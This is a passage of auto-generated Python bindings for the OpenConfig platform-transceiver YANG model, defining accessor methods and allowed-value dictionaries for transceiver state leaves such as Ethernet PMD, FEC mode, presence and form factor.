'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_ethernet_pmd_preconf(self): """ Getter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ return self.__ethernet_pmd_preconf def _set_ethernet_pmd_preconf(self, v, load=False): """ Setter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd_preconf() directly. YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd_preconf = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd_preconf(self): self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_mode(self): """ Getter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ return self.__fec_mode def _set_fec_mode(self, v, load=False): """ Setter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_mode is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_mode() directly. YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_mode must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_mode = t if hasattr(self, '_set'): self._set() def _unset_fec_mode(self): self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_present(self): """ Getter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) YANG Description: Indicates whether a transceiver is present in the specified client port. """ return self.__present def _set_present(self, v, load=False): """ Setter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) If this variable is read-only (config: false) in the source YANG file, then _set_present is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_present() directly. YANG Description: Indicates whether a transceiver is present in the specified client port. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """present must be of a type compatible with enumeration""", 'defined-type': "openconfig-platform-transceiver:enumeration", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False)""", }) self.__present = t if hasattr(self, '_set'): self._set() def _unset_present(self): self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) def _get_form_factor(self): """ Getter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ return self.__form_factor def _set_form_factor(self, v, load=False): """ Setter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_form_factor() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 